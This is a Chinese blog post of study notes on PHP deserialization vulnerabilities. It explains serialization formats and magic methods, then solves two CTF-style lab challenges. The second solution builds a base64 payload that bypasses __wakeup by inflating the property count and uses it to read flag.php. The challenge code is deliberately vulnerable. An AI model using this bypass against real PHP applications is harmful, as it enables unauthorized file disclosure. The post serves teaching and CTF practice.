警告
本文最后更新于 2019-08-17 ,文中内容可能已过时。
记录下PHP反序列化漏洞学习笔记。
php序列化 化对象为压缩格式化的字符串
反序列化 将压缩格式化的字符串还原
php序列化是为了将对象或者变量永久存储的一种方案。
在了解反序列化之前我们首先要知道什么是序列化。
在php中,序列化函数是serialize()
,我们先来写一个简单的序列化。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<? php
class User {
public $name ;
private $sex ;
protected $money = 1000 ;
public function __construct ( $data , $sex ) {
$this -> data = $data ;
$this -> sex = $sex ;
}
}
$number = 66 ;
$str = 'Y4er' ;
$bool = true ;
$null = NULL ;
$arr = array ( 'a' => 1 , 'b' => 2 );
$user = new User ( 'jack' , 'male' );
var_dump ( serialize ( $number ));
echo '<hr>' ;
var_dump ( serialize ( $str ));
echo '<hr>' ;
var_dump ( serialize ( $bool ));
echo '<hr>' ;
var_dump ( serialize ( $null ));
echo '<hr>' ;
var_dump ( serialize ( $arr ));
echo '<hr>' ;
var_dump ( serialize ( $user ));
在这里我们分别序列化了数字、字符串、布尔值、空、数组、对象。看下输出结果
1
2
3
4
5
6
string ( 5 ) "i:66;"
string ( 11 ) "s:4:" Y4er ";"
string ( 4 ) "b:1;"
string ( 2 ) "N;"
string ( 30 ) "a:2:{s:1:" a ";i:1;s:1:" b ";i:2;}"
string ( 99 ) "O:4:" User ":4:{s:4:" name ";N;s:9:" Usersex ";s:4:" male ";s:8:" * money ";i:1000;s:4:" data ";s:4:" jack ";}"
以此我们知道序列化不同类型的格式为
Integer
: i:value;String
: s:size:value;Boolean
: b:value;(保存1或0)Null
: N;Array
: a:size:{key definition;value definition;(repeated per element)}Object
: O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}在这里需要注意一点就是object的private和protected属性的长度问题:
1
string ( 99 ) "O:4:" User ":4:{s:4:" name ";N;s:9:" Usersex ";s:4:" male ";s:8:" * money ";i:1000;s:4:" data ";s:4:" jack ";}"
可以看到Usersex的长度为9,是因为php序列化属性值时,如果是private或者protected会自动在类名两边添加一个空字节,如果是url编码用%00,如果是ASCII编码用\00,都是表示一个空字节。
%00User%00sex 表示 private %00*%00money 表示protected 反序列化是将字符串转换为原来的变量或对象,简单写一个例子。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<? php
class User
{
public $name = 'Y4er' ;
function __wakeup ()
{
echo $this -> name ;
}
}
$me = new User ();
echo serialize ( $me );
echo '<hr>' ;
unserialize ( $_GET [ 'id' ]);
可以看到,我们将序列化之后的字符串通过id传给unserialize
函数之后,执行了__wakeup()
函数,输出了Y4er
字符串。
那么我们如果改变O:4:"User":1:{s:4:"name";s:4:"Y4er";}
中的Y4er
字符串,精心构造一个对象是不是可以随意输出呢?答案当然是肯定的,所以反序列化漏洞的产生就在于__wakeup
中存在可控字段。
那么__wakeup
是什么函数呢?为什么他会自己运行呢?有没有其他类似的函数呢?
在php中,有着一系列的魔术方法,他们和C#中的构造方法相似,都是在某一条件满足下自动运行,一般用于初始化对象。我们在这里列举一些
1
2
3
4
5
6
7
8
9
10
11
12
__construct () // 创建对象时触发
__destruct () // 对象被销毁时触发
__call () // 在对象上下文中调用不可访问的方法时触发
__callStatic () // 在静态上下文中调用不可访问的方法时触发
__get () // 用于从不可访问的属性读取数据
__set () // 用于将数据写入不可访问的属性
__isset () // 在不可访问的属性上调用 isset () 或 empty () 触发
__unset () // 在不可访问的属性上使用 unset () 时触发
__invoke () // 当脚本尝试将对象调用为函数时触发
__toString () // 把类当作字符串使用时触发
__wakeup () // 使用 unserialize时触发
__sleep () // 使用 serialize时触发
我们在上文中用到了__wakeup
函数,在使用unserialize()
时自动输出了$this->name
。在了解完魔术方法之后,我们来看几道题。
题目如下,我稍微修改了一下。
1
2
3
4
5
6
7
8
<? php
$KEY = "D0g3!!!" ;
$str = $_GET [ 'str' ];
if ( unserialize ( $str ) === " $KEY " )
{
echo "You get Flag!!!" ;
}
show_source ( __FILE__ );
很简单的一道题,要求就是通过get传进去的str参数经过反序列化之后要等于D0g3!!!
,那么我们直接将D0g3!!!
序列化一下,然后通过str参数就可以了。
1
echo serialize ( "D0g3!!!" );
输出s:7:"D0g3!!!";
然后访问http://php.local/unserialize.php?str=s:7:"D0g3!!!";
拿到flag。
题目代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<? php
class SoFun
{
protected $file = 'index.php' ;
function __destruct ()
{
if ( ! empty ( $this -> file )) {
if ( strchr ( $this -> file , " \\ " ) === false && strchr ( $this -> file , '/' ) === false ) {
show_source ( dirname ( __FILE__ ) . '/' . $this -> file );
} else {
die ( 'Wrong filename.' );
}
}
}
function __wakeup ()
{
$this -> file = 'index.php' ;
}
public function __toString ()
{
return '' ;
}
}
if ( ! isset ( $_GET [ 'file' ])) {
show_source ( 'index.php' );
} else {
$file = base64_decode ( $_GET [ 'file' ]);
echo unserialize ( $file );
}
?> #<!--key in flag.php-->
首先阅读题意,可以看到要通过base64传递file参数来反序列化将$file
变量改变为flag.php
,从而读出flag。
但是有一个问题,__wakeup
函数是在反序列化时就执行,而__destruct
是在对象销毁时执行,也就是说__wakeup
比__destruct
先执行,而__wakeup
会执行$this->file = 'index.php';
,所以我们现在要想办法将file变成flag.php
并且要绕过__wakeup
函数调用__destruct
函数。
这里用到了一个PHP反序列化对象注入漏洞,当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup
方法的执行。
首先准备反序列化对象
1
2
$i = new SoFun ();
echo serialize ( $i );
O:5:"SoFun":1:{s:7:"*file";s:9:"index.php";}
我们需要将file的%00补上
O:5:"SoFun":1:{s:7:"%00*%00file";s:9:"index.php";}
修改flag.php
O:5:"SoFun":1:{s:7:"%00*%00file";s:8:"flag.php";}
绕过wakeup
O:5:"SoFun":2:{s:7:"%00*%00file";s:8:"flag.php";}
然后需要urldecode一下,将%00转为空字节,最后base64之后就是payload了
http://php.local/index.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。